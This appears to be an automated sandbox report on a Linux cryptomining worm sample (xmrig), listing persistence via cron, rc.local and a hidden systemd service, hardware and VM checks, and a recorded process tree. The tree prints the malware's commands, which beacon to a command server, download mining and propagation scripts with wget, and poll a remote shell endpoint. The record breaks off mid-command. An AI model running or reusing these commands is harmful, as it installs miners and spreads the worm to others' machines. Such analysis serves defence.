xmrig_linux | aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554

execution persistence privilege_escalation

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig

Creates/modifies Cron job 1 TTPs 12 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oC2sK6	crontab
File opened for modification	/etc/cron.d/worm	sh
File opened for modification	/var/spool/cron/crontabs/tmp.7dyK7y	crontab
File opened for modification	/var/spool/cron/crontabs/root	sh
File opened for modification	/var/spool/cron/crontabs/tmp.bQQBGB	crontab
File opened for modification	/var/spool/cron/root	sh
File opened for modification	/etc/cron.d/worm	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/var/spool/cron/crontabs/root	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/var/spool/cron/root	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/etc/cron.d/worm	sh
File opened for modification	/var/spool/cron/root	sh
File opened for modification	/var/spool/cron/crontabs/root	sh

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554

Modifies systemd 2 TTPs 3 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.w.service	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/etc/systemd/system/.w.service	sh
File opened for modification	/etc/systemd/system/.w.service	sh

Reads hardware information 1 TTPs 56 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

description	ioc	Process
File opened for reading	/proc/cpuinfo	xmrig
File opened for reading	/proc/cpuinfo	xmrig
File opened for reading	/proc/cpuinfo	xmrig
File opened for reading	/proc/cpuinfo	xmrig

Reads CPU attributes 1 TTPs 8 IoCs

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/firmware/dmi/tables/DMI	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	xmrig
File opened for reading	/sys/bus/node/devices	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/core_id	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/size	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/die_cpus	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/online	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/book_siblings	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/size	xmrig
File opened for reading	/sys/firmware/dmi/tables/smbios_entry_point	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/firmware/dmi/tables/smbios_entry_point	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/level	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/level	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/size	xmrig
File opened for reading	/sys/kernel/mm/hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/physical_package_id	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/core_siblings	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/book_siblings	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/meminfo	grep
File opened for reading	/proc/elog	xmrig
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/elog	xmrig
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/mounts	xmrig
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/sys/vm/nr_hugepages	xmrig
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/meminfo	grep
File opened for reading	/proc/mounts	xmrig
File opened for reading	/proc/self/cgroup	xmrig
File opened for reading	/proc/nodes	xmrig
File opened for reading	/proc/elog	xmrig
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/elog	xmrig
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/nodes	xmrig
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/nodes	xmrig
File opened for reading	/proc/sys/vm/nr_hugepages	xmrig
File opened for reading	/proc/meminfo	grep
File opened for reading	/proc/self/maps	awk

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1779	ip

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.w.sh	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/xmrig.tar.gz	wget
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/xmrig	tar
File opened for modification	/tmp/xmrig	tar
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.w.sh	aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
File opened for modification	/tmp/.w.sh	sh
File opened for modification	/tmp/xmrig.tar.gz	wget
File opened for modification	/tmp/.ps.sh	wget
File opened for modification	/tmp/.w.prop	wget
File opened for modification	/tmp/.xmrig.pid	sh
File opened for modification	/tmp/.ms.sh	wget
File opened for modification	/tmp/config.json	tar
File opened for modification	/tmp/config.json	tar

/tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
/tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies rc script
- Modifies systemd
- Writes file to tmp directory
PID:1494
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:1495
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1496
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1498
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1501
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:1504
- /bin/systemctl
  systemctl
  2⤵
  - Reads runtime system information
  PID:1505
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  - Reads runtime system information
  PID:1507
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Reads runtime system information
  PID:1508
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Reads runtime system information
  PID:1533

/bin/sh
/bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies systemd
- Writes file to tmp directory
PID:1539
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:1544
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1546
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1552
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1558
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:1561
- /bin/systemctl
  systemctl
  2⤵
  - Reads runtime system information
  PID:1583
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  PID:1587
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Reads runtime system information
  PID:1591
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Reads runtime system information
  PID:1613
- /bin/hostname
  hostname
  2⤵
  PID:1638
- /usr/bin/wc
  wc -c
  2⤵
  PID:1644
- /bin/hostname
  hostname
  2⤵
  PID:1649
- /bin/uname
  uname -srm
  2⤵
  PID:1653
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:1655
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:1689
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1706
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1713
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1725
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ps.sh https://ghvfcd.quest:8443/propagate.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:1729
- /bin/chmod
  chmod +x /tmp/.ps.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1769
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"executed:propagate\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1773
- /bin/sleep
  sleep 2
  2⤵
  PID:1791
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1798
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1800
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1802
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1818
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1823
- /bin/sleep
  sleep 2
  2⤵
  PID:1826
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1833
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1834
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1836
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1840
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1843
- /bin/sleep
  sleep 2
  2⤵
  PID:1844
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1854
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1855
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1857
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1860
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1864
- /bin/sleep
  sleep 2
  2⤵
  PID:1865
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1873
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1874
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1876
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1879
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1882
- /bin/sleep
  sleep 2
  2⤵
  PID:1884
- /bin/sleep
  sleep 10
  2⤵
  PID:1889
- /bin/hostname
  hostname
  2⤵
  PID:1903
- /bin/uname
  uname -srm
  2⤵
  PID:1905
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:1906
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1914
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1915
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1917
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1920
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1923
- /bin/sleep
  sleep 2
  2⤵
  PID:1925
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1933
- /usr/bin/wget
